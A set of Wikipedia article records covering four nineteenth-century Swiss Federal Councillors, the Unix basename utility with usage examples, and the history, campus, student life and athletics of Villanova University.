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241082 | https://en.wikipedia.org/wiki/Eug%C3%A8ne%20Ruffy | Eugène Ruffy | Eugène Ruffy (2 August 1854, in Lutry – 25 October 1919) was a Swiss politician.
He was elected to the Swiss Federal Council on 14 December 1893 and resigned on 31 October 1899. He was affiliated with the Free Democratic Party of Switzerland.
During his time in office he headed the following departments:
Department of Justice and Police (1894)
Department of Home Affairs (1895)
Department of Justice and Police (1895)
Department of Home Affairs (1896–1897)
Political Department (1898)
Military Department (1899)
He was President of the Confederation in 1898.
His father, Victor Ruffy (1823-1869), was a member of the Federal Council in 1868/1869. The younger Ruffy was the only person to succeed his father as a member of the council until the election of Eveline Widmer-Schlumpf in 2007.
External links
1854 births
1919 deaths
People from Lavaux-Oron District
Swiss Calvinist and Reformed Christians
Free Democratic Party of Switzerland politicians
Foreign ministers of Switzerland
Members of the Federal Council (Switzerland)
Members of the National Council (Switzerland)
Presidents of the National Council (Switzerland)
University of Lausanne alumni | [
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241084 | https://en.wikipedia.org/wiki/Louis%20Ruchonnet | Louis Ruchonnet | Antoine Louis John Ruchonnet (28 April 1834, in Lausanne – 14 September 1893, in Bern) was a -century Swiss attorney and politician. In 1864, he founded the Vaud Credit Union ().
Public service
He was first elected to public service as a deputy to the Grand Council of Vaud in 1863, then twice to the Lausanne Communal Council (1866–68, 1878–81). On 10 December 1875 he was elected to the Swiss Federal Council for the canton of Vaud but declined to serve. He was elected again as Federal Counsellor on 3 March 1881 and this time accepted the position and died still in office on 14 September 1893. He served twice as President of the Confederation, first in 1883 and again in 1890. He was a unifying figure, along with his successor as Federal Counsellor for Vaud, Eugène Ruffy, in the Free Democratic Party of Switzerland.
During his time in office he was responsible for the following federal administrative departments:
Trade and Agriculture (since renamed Economic Affairs, Education and Research) - 1881
Foreign Affairs - 1883
Justice and Police - 1882, 1884-93
Freemasonry
Ruchonnet was elected to serve as the first Master of Liberty Masonic Lodge () in Lausanne when it was chartered on 11 September 1871.
Likenesses and namesakes
Avenue Louis-Ruchonnet in Lausanne is named after him and a bronze statue of him stands in the Old Town of Lausanne, erected in 1906. There is also an 1888 portrait of him by Adolfo Müller-Ury (1862-1947) in the Musee des Beaux-Arts in Lausanne, gifted by his son Ernest in 1894.
References
Further reading
External links
1834 births
1893 deaths
People from Lausanne
Swiss Calvinist and Reformed Christians
Free Democratic Party of Switzerland politicians
Foreign ministers of Switzerland
Members of the Federal Council (Switzerland)
Members of the National Council (Switzerland)
Presidents of the National Council (Switzerland)
University of Lausanne alumni | [
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241085 | https://en.wikipedia.org/wiki/Fridolin%20Anderwert | Fridolin Anderwert | Fridolin Anderwert (19 September 1828, in Frauenfeld – 25 December 1880) was a Swiss politician.
He was elected to the Swiss Federal Council on 10 December 1875 and was member of the Council until 25 December 1880. He was affiliated to the Free Democratic Party of Switzerland.
During his office time he held the Department of Justice and Police and was Vice-President of the Swiss Confederation in 1880.
On 7 December 1880 he was elected President of the Swiss Confederation for the year 1881. Immediately after the election a nasty campaign against him broke out in the press, in particular about the eating habits of the obese bachelor, but also rumors that he was a regular visitor in gay brothels. Drawn by physical exhaustion and severe depression, Anderwert committed suicide on Christmas Day 1880 on the "Kleine Schanze", a small park next to the Houses of Parliament. The only published sentence of his farewell letter states: "They want a victim, they shall have it."
External links
1828 births
1880 deaths
People from Frauenfeld
Swiss Old Catholics
Free Democratic Party of Switzerland politicians
Members of the Federal Council (Switzerland)
Members of the National Council (Switzerland)
Presidents of the National Council (Switzerland)
Federal Supreme Court of Switzerland judges
Politicians who committed suicide
Suicides by firearm in Switzerland
19th-century Swiss judges | [
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241087 | https://en.wikipedia.org/wiki/Wilhelm%20Matthias%20Naeff | Wilhelm Matthias Naeff | Wilhelm Matthias Naeff (19 February 1802 – 21 January 1881) was a Swiss politician and one of the seven initial members of the Swiss Federal Council (1848–1875).
Naeff was born in Altstätten into a long-established Rhine-Valley's family. Already, his father was an influential merchant. Naeff studied law in Heidelberg (Germany), and, after his return to Switzerland, he was elected to the cantonal (state) government of St. Gallen. Naeff is well known for not intervening in the conflict, which dominated Switzerland at that time, between liberals and conservatives. The Rhine Valley was a stronghold of the liberals, which is why Naeff could depend on his supporters.
Naeff was a member of the "Siebnergruppe", a group of seven people who, after the Napoleonic occupation, drafted the 1848 constitution of the Swiss Confederation, the basis of the current constitution. He was elected to the Swiss Federal Council of ministers on 16 November 1848, as a representative of St. Gallen. He stayed there for 27 years, considerably longer than all of his counterparts from that time.
While, in his long term in office, Naeff increasingly lost influence and adhered a reputation as "deadhead". He was re-elected by only small margins. On 31 December 1875, he finally resigned. Naeff was affiliated with the Free Democratic Party of Switzerland (liberal democrats/radicals).
During his long tenure, he headed the following departments:
Department of Posts and Construction (1848–1852)
Political Department (1853)
Department of Trade and Customs (1854)
Department of Posts and Construction (1855–1859)
Department of Posts (1860–1866)
Department of Trade and Customs (1867–1872)
Department of Railway and Trade (1873)
Department of Finance (1873–1875)
In 1853, he was President of the Confederation, presiding the council. He resigned on 31 December 1875.
References
External links
1802 births
1881 deaths
People from Altstätten
Swiss Calvinist and Reformed Christians
Free Democratic Party of Switzerland politicians
Foreign ministers of Switzerland
Finance ministers of Switzerland
Members of the Federal Council (Switzerland)
Members of the Council of States (Switzerland) | [
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241095 | https://en.wikipedia.org/wiki/Basename | Basename | basename is a standard computer program on Unix and Unix-like operating systems. When basename is given a pathname, it will delete any prefix up to the last slash ('/') character and return the result. basename is described in the Single UNIX Specification and is primarily used in shell scripts.
History
was introduced in X/Open Portability Guidelines issue 2 of 1987. It was inherited into the first version of POSIX and the Single Unix Specification. It first appeared in 4.4BSD.
The version of basename bundled in GNU coreutils was written by David MacKenzie.
The command is available as a separate package for Microsoft Windows as part of the GnuWin32 project and the UnxUtils collection of native Win32 ports of common GNU Unix-like utilities.
Usage
The Single UNIX Specification specification for basename is.
basename string [suffix]
string
A pathname
suffix
If specified, basename will also delete the suffix.
Examples
basename will retrieve the last name from a pathname ignoring any trailing slashes
$ basename /home/jsmith/base.wiki
base.wiki
$ basename /home/jsmith/
jsmith
$ basename /
/
basename can also be used to remove the end of the base name, but not the complete base name
$ basename /home/jsmith/base.wiki .wiki
base
$ basename /home/jsmith/base.wiki ki
base.wi
$ basename /home/jsmith/base.wiki base.wiki
base.wiki
See also
List of Unix commands
dirname
Path (computing)
References
External links
Basename
Unix SUS2008 utilities
Plan 9 commands
Inferno (operating system) commands | [
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241099 | https://en.wikipedia.org/wiki/Villanova%20University | Villanova University | Villanova University is a private Catholic research university in Villanova, Pennsylvania. It was founded by the Augustinians in 1842 and named after Saint Thomas of Villanova. The university is the oldest Catholic university in Pennsylvania and one of two Augustinian institutions in the United States (The other being Merrimack College). It is classified among "R2: Doctoral Universities – High research activity".
The university traces its roots to the old Saint Augustine's Church, Philadelphia, which the Augustinian friars of the Province of Saint Thomas of Villanova founded in 1796, and to its parish school, Saint Augustine's Academy, which was established in 1811. The school's identity remains deeply rooted in its Augustinian Catholic foundation—the majority of students are Catholic, the administration is led by priests, there is a cross on every building, and all students are required to take the Augustine and Culture Seminar (ACS) course their freshman year.
History
In October 1841, two Irish Augustinian friars from Saint Augustine's Church in Philadelphia purchased the "Belle Air" estate in Radnor Township with the intention of starting a school. The school, which was called the "Augustinian College of Villanova", opened in 1842. However, the Philadelphia Nativist Riots of 1844 that burned Saint Augustine's Church in Philadelphia caused financial difficulties for the Augustinians, and the college was closed in February 1845. The college reopened in 1846 and graduated its first class in 1847. In March 1848, the governor of Pennsylvania incorporated the school and gave it the power to grant degrees. In 1859, the first master's degree was conferred on a student. In 1857, the school closed again as the demand for priests in Philadelphia prevented adequate staffing, and the crisis of the Panic of 1857 strained the school financially. The school remained closed throughout the Civil War and reopened in September 1865; since then it has operated continuously. Its prep department later moved to Malvern, a town along the Main Line, and is still run by the order.
The School of Technology was established in 1905. In 1915, a two-year pre-medical program was established to help students meet medical schools' new requirements. This led to a four-year pre-medical program, the B.S. in biology, and the founding of the sciences division in 1926.
Villanova was all-male until 1918, when the college began evening classes to educate nuns to teach in parochial schools. In 1938, a laywoman received a Villanova degree for the first time. It was not until the nursing school opened in 1953 that women permanently began attending Villanova full-time. In 1958, the College of Engineering admitted its first female student; other colleges admitted women only as commuters. Villanova University became fully coeducational in 1968.
During World War II, Villanova was one of 131 colleges and universities nationally that took part in the V-12 Navy College Training Program which offered students a path to a Navy commission. It has since graduated 25 US Naval Admirals and Marine Corps Generals, which is more than any other college or university with the exception of the Naval Academy in Annapolis.
After World War II, Villanova expanded, returning veterans swelling enrollments and the faculty growing fourfold. Additional facilities were built, and in 1953, the College of Nursing and the School of Law were established. Villanova achieved university status on November 18, 1953. Between 1954 and 1963, 10 new buildings were built or bought on land adjacent to the campus, including Bartley, Mendel, and Dougherty Halls.
Campus
Villanova University sits on from Center City Philadelphia. The campus has roughly 1,500 trees. The campus was formerly known as Arboretum Villanova, but its status as an official arboretum was revoked after the university failed to meet rules and standards such as planting enough new trees and offering tours.
There are three named areas on the campus:
Main Campus contains most of the educational buildings, administration buildings, Student Center, Library, Bookstore, the Villanova Chapel, the main cafeteria and a variety of coffee shops and eateries, the Athletic Center, the Pavilion, Villanova Stadium, and many sophomore student residences.
West Campus contains the Law School, St. Mary's hall (a large building for single housing, a cafeteria, classrooms, indoor swimming pool, market, etc.) some administrative buildings, and housing for juniors as well as some seniors who are permitted to live on campus. Also included are basketball and tennis courts, soccer fields, volleyball courts and barbecue pits. The SEPTA Paoli/Thorndale station – Villanova is also here. There is also the Law School parking garage in addition to apartment parking.
South Campus contains six freshman residence halls, Donohue Court (South Campus Cafeteria) and Donohue Market (South Campus Market). The Norristown High Speed Line has a stop right behind Stanford Hall. This part of campus also features a basketball court, sand volleyball court, and barbecue pits.
Main campus
The most prominent campus feature is St. Thomas of Villanova Church, whose dual spires are the university's tallest structure. The cornerstone was laid in 1883, and construction ended in 1887. Built in the Gothic Revival style, the church was renovated in 1943 and 1992. The church lies at the head of the path crossing Lancaster Avenue into the parking lots and toward South Campus. It is a popular meeting place for students, and hosts regular Masses for the student body. The church is home to St. Thomas of Villanova Parish, whose Masses take place Sunday morning. The stained-glass windows of the church depict the life of St. Augustine of Hippo.
Behind the Church is Mendel Field, around which sit six major campus buildings:
Mendel Hall, named for pioneering geneticist and Augustinian monk Gregor Mendel, holds science labs, lecture halls, and other facilities. Its two large buildings are connected underground and by a second-floor indoor bridge that forms the gateway between West and Main Campus. In 1998, the college commissioned a bronze sculpture of Mendel by Philadelphia sculptor James Peniston, and installed it outside the hall's entrance.
Tolentine Hall, one of the oldest buildings on campus, houses classrooms, academic offices such as the Registrar's Office and the Office of the President, and computer labs, and is connected to Villanova's monastery, St. Thomas Hall. Tolentine Hall was formerly called Mendel Hall before the construction of the new Mendel Hall, as it was the former home of the various science departments, a fact which ultimately led to the building partially burning down more than once as a result of experiments gone wrong.
White Hall, consisting mainly of classrooms and laboratories, is connected to the Chemical Engineering Building, which was built in 1947. Ironically, White Hall has an almost entirely black exterior.
Falvey Hall, or "Old Falvey", is the annex of the Falvey Memorial Library, named for Rev. Daniel Falvey who served as librarian from 1940 until his death in 1962. It is home to some classrooms in the Art History and Education departments as well as some offices, along with the Augustinian Heritage Institute, and the Matthew J. Ryan Center. "Old Falvey" was home to the writing center and Math Learning Resource Center (MLRC) until both centers moved into Falvey Memorial Library's renovated second floor during the 2012–2013 academic year. "Old Falvey" is also home to a recently renovated reading room, which opened in the 2016–2017 academic year.
John Barry Hall, named for naval officer Commodore John Barry, houses the Navy ROTC Program.
To the west of the Church, the Center for Engineering Education and Research (CEER), which opened in 1998, holds engineering labs, engineering classrooms, an engineering computer lab, an auditorium hall for projections and slideshows, and a Holy Grounds, which is the name of Villanova's coffee shops.
Slightly east of Mendel Field sits the Grotto, a landscaped haven between Falvey Library and two residence halls: Alumni Hall, home to the Service Learning Community; and Corr Hall, the location of the Center for Peace and Justice Studies and a small residence hall. Often home to outdoor masses and other large gatherings, the Grotto used to include a statue depicting Our Lady of Good Counsel and plaques dedicated to the veterans of World War II and the Vietnam War, but these were moved to a new location between St. Rita's Hall and Austin Hall, two residence halls across from Alumni Hall that also house the Campus Ministry Office and University Admissions Office, respectively, during the 2012–2013 academic year.
Alumni Hall dates back to 1848 and stands as one of the oldest structures on campus. The school was closed in 1861 due to the Civil War and reopened in 1865. In that time this hall is believed to have been used as a military hospital and potential evidence of that use, such as a pulley located at the top of the main stairwell for moving bodies up and down, can still be seen. The building was used as a hospital again for influenza patients after World War I.
St. Mary's Hall was built in 1962. Laid out with long corridors and over a thousand rooms, there is a large chapel and many partial floors, basements and sub-basements to feed the legends of blocked off wings. The property on which Dundale Hall is located was originally purchased by an industrialist, Israel Morris II, in 1874, and was built as a mansion for his family. Purchased from his family in 1978, it has been used for a variety of meetings and is home to several offices.
Falvey Library, the campus's main research library, houses over 1 million books, thousands of periodicals, television production studios, and quiet places for solitary or group study, as well as the campus's writing center and Math Learning Resource Center, which moved from "Old Falvey" to the renovated second floor of the library during the 2012–2013 academic year. Behind Falvey Library is the Saint Augustine Center for Liberal Arts, commonly called "SAC", which is home to many departments in the College of Liberal Arts, numerous offices, several seminar-type classrooms, and the Advising and Professional Development Program.
East of Corr Hall sits Kennedy Hall, named for the late President John F. Kennedy and the late Senator Robert F. Kennedy (both of whom spoke at Villanova commencement ceremonies), which houses the University Shop, the campus bookstore, as well as the Office of Residence Life, the Bursar's Office, the Office of Financial Aid, and the Main Campus mailroom. Across a small courtyard is Dougherty Hall, the campus's main dining hall, referred to as "The Pit" because of its underground location, one of three all-you-can-eat facilities on campus. Dougherty also houses several smaller eateries and many Student Activity Offices. Next to Kennedy is Connelly Center with its radically different architecture resembling an alpine ski lodge, containing: the Belle Aire Terrace, which serves a variety of food; several meeting rooms; areas for group study; the Commuter Student Lounge on the upper level; another lounge on the lower level, the campus cinema (movie theater); a large conference room; a smoothie shop; and a Holy Grounds location.
Between the dining halls of Dougherty and the meeting halls of Connelly is a sculpture titled "The Awakenening" (unofficially referred to as "The Oreo"). A large white-and-black sculpture by Jay Dugan, some of the major campus celebrations have occurred in its circular shadow – including celebratory vandalism in the wake of the 1985 NCAA Men's Basketball Championship, and again after the 2016 and 2018 Men's Basketball Championships.
Still further east, there is "The Quad" where there lies a square formation between two dormitories, Sheehan Hall and Sullivan Hall. Bartley Hall, home to the Villanova School of Business is the last building before Ithan Avenue, which is where main campus ends. Bartley is adjacent to another entrance to Main Campus, at the intersection of Lancaster Avenue and Ithan Avenue. Behind Bartley Hall are two new buildings: The Health Services Building, home to the Counseling and Medical Centers; and Driscoll Hall, home to the M. Louise Fitzpatrick College of Nursing.
On the south side of Lancaster avenue sits south main campus. A new parking garage was opened in January 2017. A pedestrian bridge over Lancaster Avenue connecting south and main campus and senior housing known as The Commons were opened in the summer of 2019.
The Commons
The Commons opened in August 2019 and serves as apartment-style housing for senior students. In addition to housing, the Commons also has a state-of-the-art gym, spin gym, gym studio space, a mailroom, a tech center, a Parliament Cafe and a full-service dining option called The Refectory Bar and Grill.
The Commons is home to the following six residence halls:
Arch Hall
Canon Hall
Chapter Hall
Cupola Hall
Friar Hall
Trinity Hall
On the opposite side of Ithan Avenue is the John and Joan Mullen Center for the Performing Arts which opened the weekend of April 24, 2020.
West Campus
Situated across the SEPTA tracks north and west of Mendel hall is West Campus: home to St. Mary's Hall, the West Campus Apartments, and the Law School. St. Mary's, a labyrinthine building of classrooms, residence rooms, a cafeteria, and large chapel, was originally built as a seminary, and was once home to the College of Nursing. St. Mary's also houses many of the undergraduate student performing arts groups. Behind St. Mary's sit the Apartments – eight buildings that house junior and senior resident students. A small Augustinian residence, Burns Hall, also sits on West Campus and is the home to the University president. Picotte Hall at Dundale, a historic mansion on the grounds of a former estate, lies just beyond Burns Hall at the far end of West Campus and is home to University Advancement, the school's phone-a-thon, and several other university offices.
In addition to the student dormitories in St. Mary's Hall, West Campus is home to the following residence halls:
Farley Hall
Galen Hall
Jackson Hall
Klekotka Hall
Moulden Hall
Rudolph Hall
St. Clare Hall
Welsh Hall
South Campus
Sitting diagonally across Lancaster Ave. and Ithan Ave. from Bartley Hall, South Campus is home to several residence halls – usually reserved for underclassmen – and Donahue Hall, home to "The Spit", short for "South Pit". Donahue hall also houses Donahue Market, commonly referred to by students as "The Sparket".
The South Campus residence halls are:
Stanford Hall
Good Counsel Hall
Katharine Hall
Caughlin Hall
St. Monica Hall
Mcguire Hall
Stanford Hall also houses the Office for Residence Life on the ground floor.
The second and third of three on-campus train stops, the Villanova stop and the Stadium stop on the Norristown High Speed Line provides access to the city of Philadelphia, about 30 minutes away.
Academics
According to the National Science Foundation, Villanova spent $20.7 million on research and development in 2018, ranking it 267th in the nation.
Rankings
U.S. News & World Report ranks Villanova as tied for the 46th best National University in the U.S. for 2018. For more than a decade, Villanova University had been ranked No. 1 by U.S. News & World Report in the Best Masters Universities-category, Northern Region, a ranking for schools which offer undergraduate and masters programs but few doctoral programs. U.S. News & World Report in 2016 also ranked Villanova as 2nd for "Best Value Schools" and 4th for "Best Undergraduate Teaching" in the Best Masters Universities-category, Northern Region, and ranked the engineering school No.11 among all national undergraduate engineering programs whose highest degree is a masters. The Villanova School of Business was ranked No. 1 in the U.S. in Bloomberg Businessweek 's 2016 rankings of undergraduate business schools, but this led to controversy and as a result Bloomberg no longer ranked undergraduate business schools after 2016. and No. 29 in the Financial Times''' ranking of top executive MBA programs.
Villanova University School of Law is currently ranked tied for 65th among all U.S. law schools by the 2019 edition of U.S. News & World Reports "Best Law Schools." The School of Law had previously suffered a drop in ranking in 2011, after it was determined that law school admissions staff had engaged in inflating reported LSAT scores for admitted students. According to the ABA, these infractions were enough to justify a removal of the school's accreditation, however the quick response to the issue by the University resulted only in a censure of the school.
In a deliberate move to classify itself as a "national university", Villanova pushed hard in early 2010s to expand its doctoral programs to reach the Carnegie threshold of 20 PhDs per year. In September 2016, the university's Carnegie Classification was changed to classify Villanova among "R2:Doctoral Universities: High Research Activity". U.S. News & World Report, which relies on this classification to define which schools should be called "national universities", included Villanova in its "National Universities" rankings for the first time in fall 2016. Before this move, Villanova was ranked in U.S. News & World Report’s Regional Universities–North category.
Admissions
Admission to Villanova has been deemed "most selective" by U.S. News & World Report. The University offers three ways to apply: Early Decision (binding), Early Action and Regular Decision.
For Fall 2021, Villanova received 24,399 freshmen applications; 6,100 were admitted (25.0%) for a class of 1675. The middle 50% GPA range: 4.14–4.52 on a weighted 4.00 scale. The middle 50% SAT scores of the recently admitted class: 1400-1500/1600, ACT: 32-34/36.
In 2019, Villanova announced new recruiting partnerships with The Posse Foundation, Philadelphia Futures and the Guadalupe Center.
Student life
Villanova's student organizations include standard club sports, cultural organizations, Greek-letter fraternities and sororities, and more. Villanova students participate in charitable and philanthropic activities and organizations, including the largest student-run Special Olympics in the world.
Charity and community service organizations
Being a Roman Catholic Augustinian school, the University has an active Campus Ministry.
The annual Special Olympics Fall Festival at Villanova University is the largest and most successful student-run Special Olympics in the world. It draws more than 1,000 athletes and 400 coaches from 44 Pennsylvania counties. Athletes may advance through the festival to regional and international competition. Students apply to be a part of the 82-volunteer planning committee, which works for more than nine months alongside Special Olympics Pennsylvania (SOPA), which oversees more than 300 events statewide. The event is put on with the aid of some 2,500 student volunteers and more than 1,000 other volunteers from the Villanova community.
Villanova University holds an annual NOVAdance year-long fundraising effort that culminates with a 12-hour dance marathon each Spring, raising money in support of the Andrew McDonough B+ (Be Positive) Foundation. NOVAdance began in 2014, and has since then become a yearly event.
The Villanova University community is noted for its participation in Habitat for Humanity In 2004, Villanova had more participants in the Habitat for Humanity Collegiate Challenge than any other U.S. university.
Villanova's School of Engineering maintains a student chapter of Engineers Without Borders, a non-profit organization that focuses on helping to improve the living conditions of communities worldwide. Villanova EWB is one of the fasting growing student organizations on campus, expanding from a mere handful of engineering students in the spring of 2006 to a current membership of approximately 75 students in multi-disciplinary programs.
The chapter's inaugural project was to design and build a playground for a grade school in New Orleans following the tragic events of Hurricane Katrina. Villanova EWB was the only student organization to win an award from the regional Project Management Institute, receiving an Honorable Mention from PMI for project of the year. The most recent project involved designing and building a water treatment and distribution system which provided an orphanage and surrounding villages in northern Thailand with drinking water and irrigation for their crops. There are also plans for a variety of projects in the Philadelphia area, including K-12 outreach programs, as well as many more international projects.
The Blue Key Society consists of around 200 volunteer campus tour guides who work with the Admissions Office to give three tours each weekday, various special tours as needed and selected weekend tours throughout the school year.
Formerly known as Project Sunshine, The Office of Community Service, commonly called "Rays of Sunshine", is a student-led community service organization.
Student Government Association
Founded in 1925, the Student Government Association (SGA) operates through its three branches (the Executive Branch, the Senate, and the Judicial Council). The Executive Branch is led by the President of the Student Body and Executive Vice President, and consists of the Chief of Staff and Directors of Athletics; Diversity, Equity, and Inclusion; Finance; Programming; and Public Relations. The Senate is led by the Speaker of the Senate and consists of thirty-four Senators total, twenty-two elected representatives from the classes and schools and twelve appointed representatives from University offices and student organizations. The Judicial Council is led by the Chief Justice and consists of four Associate Justices and a Judicial Clerk.
Greek life
Roughly 30% of Villanova students identify with one of eleven fraternities, twelve sororities, and one service fraternity. There are no fraternity or sorority houses on-campus.
The first Greek organization at the school was established in 1902 as a social organization and circle of individuals interested in classical studies. The oldest Greek organization still on campus is the Sigma Nu Fraternity, whose Kappa Zeta chapter grew out of the former local Zeta Rho fraternity, founded in 1969. Zeta Rho gave way to the Kappa Zeta Chapter of Sigma Nu Fraternity in 1983.
Sororities
National Panhellenic Conference Sororities
Alpha Gamma Delta
Alpha Chi Omega
Alpha Phi
Delta Delta Delta
Delta Gamma
Kappa Delta
Kappa Kappa Gamma
Pi Beta Phi
Chi Omega
National Pan-Hellenic Council Sororities
Alpha Kappa Alpha
Delta Sigma Theta
National Association of Latino Fraternal Organizations Sorority
Lambda Theta Alpha
National APIDA Panhellenic Association Sorority
Sigma Psi Zeta
Fraternities
North American Interfraternity Conference Fraternities
Beta Theta Pi
Delta Tau Delta
Lambda Chi Alpha
Pi Kappa Phi
Phi Sigma Kappa
Sigma Chi
Sigma Nu
Sigma Phi Epsilon
National Pan-Hellenic Council Fraternity
Kappa Alpha Psi
Omega Psi Phi
National Association of Latino Fraternal Organizations fraternity
Phi Iota Alpha
La Unidad Latina, Lambda Upsilon Lambda
Service fraternity
The Sigma Eta chapter of Alpha Phi Omega, whose motto is "Leadership, Friendship, and Service", meets weekly on Villanova's campus to plan service projects on and off campus, including school cleanups through Philly Cares Day, working at soup kitchens and tutoring children in Math and Science at Philadelphia public schools.
Villanova Emergency Medical Service
Villanova Emergency Medical Service (VEMS), is a student-run ambulance service licensed and dedicated to serving the campus community. VEMS membership consists of more than 40 undergraduate student volunteers; the majority of whom are certified as Emergency Medical Technicians, volunteering more than 25,000 hours annually. Villanova is one of only a handful of colleges to provide EMS services to their campus, and one of only 52 who provide emergency response and transport to at least the Basic Life Support (BLS) Level. VEMS has been recognized on a national level multiple times by the National Collegiate EMS Foundation (NCEMSF), specifically being named 2001 Campus Organization of the Year and receiving EMS website of the year in 2000, 2004, and 2006. Their skills competition team also placed in second at the 2011 Annual Physio-Control BLS Skills Competition. The team consisted of Capt. William Pandos, Lt. Christopher Cahill, Lt. John Skinner, Treasurer Philip Walker, EMT Erin Mack, and EMT Kyle Lewis. VEMS hosted the second annual NCEMSF Conference in 1995 as well as the twelfth annual conference in Philadelphia in 2005.
Campus publications and mediaThe Villanovan has been an officially recognized and accredited student newspaper since its founding in 1916. The university's newspaper of record, the tabloid-sized weekly usually produces 12 issues per semester, at 6,500 copies per issue.The Belle Air Yearbook is the official yearbook of the university and has been a student made production since 1922. The book is published by the L.G. Balfour Company. The book has won numerous awards over the years including the Yearbook Yearbook Award for their 2017 book and the National Yearbook Sample Award for their 2019 publication.The Villanova Times, the independent bi-weekly student newspaper, won the Collegiate Network Award for Layout and Design in 2005–06, 2007–08 and 2008–09.
WVTV is the student-run campus television station. Starting in 1999 as the Villanova TV Production Club, the station produces news, events, films and other programming for the Villanova community, and can be seen on the campus television network.
WXVU, the FCC-licensed student-operated FM radio station, operates at 89.1 megahertz. With an output of 75 watts, WXVU can be heard for around the campus and globally via the internet. Since 1991, the station has offered a varied program of music, news, sports, public affairs, and specialty programming. WXVU is the successor to WKVU/WWVU, the university-sponsored student-run carrier-current station organized in 1946 by a group of electrical engineering students who had served in World War II as radio operators.
POLIS Literary Magazine, a student publication printed once a semester by the Villanova University Honors Program, features writing and artwork by Villanova students and professors. Each issue features creative nonfiction, poetry, short fiction, and black-and-white photography focusing on a central theme. Each issue also features articles on literature, entertainment, and dining.Concept is an interdisciplinary journal of graduate studies sponsored by the Graduate Division of the College of Liberal Arts and Sciences. The 2009 student film Price of Life received critical attention.
NROTC
Villanova NROTC is part of the Philadelphia NROTC Consortium; consisting of Villanova University and the University of Pennsylvania (including the cross town agreements with Drexel and Temple University). Located in Commodore John Barry Hall, the NROTC has been a part of the University since immediately after World War II. The battalion consists of more than 100 Navy and Marine Corps midshipmen under the advisement of a staff of Navy and Marine Corps officers and senior enlisted members.
Midshipmen in the Villanova NROTC program are required to take specific Navy and Marine Corps classes, wear their service's uniform on Tuesdays and Thursdays, attend daily physical training events, participate in extra-curricular programs that range from sports teams to rifle-shooting, and adhere to the basic premise that "a midshipman does not lie, cheat, or steal".
Since its inception in the summer of 1946, the NROTC unit on campus has produced 25 Admirals and Generals in the United States Navy and Marine Corps. At one point, there had only been two four-star generals in the U.S. Marine Corps, one of them the Commandant of the Marine Corps, and they had both been graduates of Villanova NROTC. In 2004, the commanders of both U.S. Naval Forces Atlantic (Admiral William J. Fallon) and U.S. Naval Forces Pacific (Admiral Walter F. Doran) were Villanova NROTC graduates. Admiral Fallon was later assigned as Commander, U.S. Central Command from March 2007 to March 2008. ADM Fallon was the first Navy officer to hold that position.
Student Performing Arts
Villanova University is without a formal music department; therefore, the Office of Student Performing Arts is charged with the organization of the student performing arts groups on campus. Due to the lack of a music department, student musicians are from every school in the university. Nearly 10% of the student body participates in various music related organizations.
The Villanova Band is the largest and oldest musical group at Villanova with over 100 members. The Villanova Band has four divisions: the Concert Band, the Scramble Band, the Pep Band, and the Jazz Ensemble. The Concert Band plays one concert at the end of each semester. It also performs throughout the Villanova community and on its annual "Fall Tour." The Scramble Band performs for Villanova Football games between plays and at halftime on the field. The Villanova Pep Band performs at Villanova Men's and Women's Basketball games, including post-season games such as the Big East Tournament. The Jazz Ensemble and Orchestra have end-of-semester concerts and perform on campus and around the Philadelphia area several times a year. The band is made up of students of every school within Villanova.
The second-largest musical group at Villanova, the Pastoral Musicians have about 60 voices and 35 instrumentalists, primarily undergraduates, up from 30 musicians in 1995. Their musical selection shows the diversity of style within the Roman Catholic tradition: contemporary praise music from different cultures, Bach, Palestrina, Mozart, Lauridsen, and others.
Villanova's men's chorus, the Villanova Singers, was founded in 1953 by Dean Harold Gill Reuschlein, then Dean of the Law School. The Singers were established for the stated purpose of singing various types of music and enriching the cultural life of the university. Entirely student-run, the Singers are governed by a 9-member board of students and sing a wide range of musical styles and types, ranging from classical to contemporary. Within the Singers, there exists a smaller, student-directed a cappella group known as the Spires. Alumni of the Spires include Jim Croce, Tommy West and Manhattan Transfer member Tim Hauser.
The Villanova Voices women's chorus is the oldest women's organization at the university. Originally called the Villanova Women's Glee Club, the group was founded by 20 women from the university's College of Nursing in 1960, shortly after Villanova became coeducational. Their attendant a cappella group, the Haveners, is student-directed.
Athletics
Villanova University teams are known as the Wildcats. They compete as a member of the NCAA Division I level, primarily competing in the Big East Conference. The Wildcats previously competed in the Eastern 8 Conference from 1975 to 1976 to 1979–80. Men's sports include baseball, basketball, cross country, football, golf, lacrosse, soccer, swimming & diving, tennis and track & field; while women's sports include basketball, cross country, field hockey, lacrosse, rowing, soccer, softball, swimming & diving, tennis, track & field, volleyball and water polo. The football and rowing team competes in the Colonial Athletic Association, while the women's lacrosse team competes in the Patriot League.
The Wildcats are also part of the Philadelphia Big 5, the traditional Philadelphia-area basketball rivalry. Their fiercest crosstown rivalry is with Saint Joseph's University ("St. Joe's"), the city's Jesuit university, and matches between them are called the "Holy War".
In the NCAA graduation report released on November 17, 2020, Villanova has a graduation-success rate (GSR) of 97 percent rate in the NCAA GSR method. In the GSR release, Villanova had 12 of its athletic programs post a perfect 100 percent graduation success rate for the 2010-2013 cohort. This data measures the percentage of student-athletes who entered college on institutional aid (whether athletics-based aid or otherwise) between those years and graduated within six years. Villanova had seven women's programs and five men's programs earn a 100 percent GSR in the release. The Villanova women's and men's basketball team are among the athletic program's 14 teams with a 100 percent graduation rate for 2010–13.
The school's athletic teams have won numerous NCAA Division I national titles, most notably in Men's Basketball and Track & Field. In addition, the football team won the 2009 national title in the Football Championship Subdivision (formerly Division I-AA).
Men's basketball
In 1985, under the direction of coach Rollie Massimino, the men's basketball team won the NCAA Division I Men's Basketball Tournament in the first year of the 64-team field. The final game, against defending champion and ten-point-favorite Georgetown, is often cited among the greatest upsets in college basketball history.
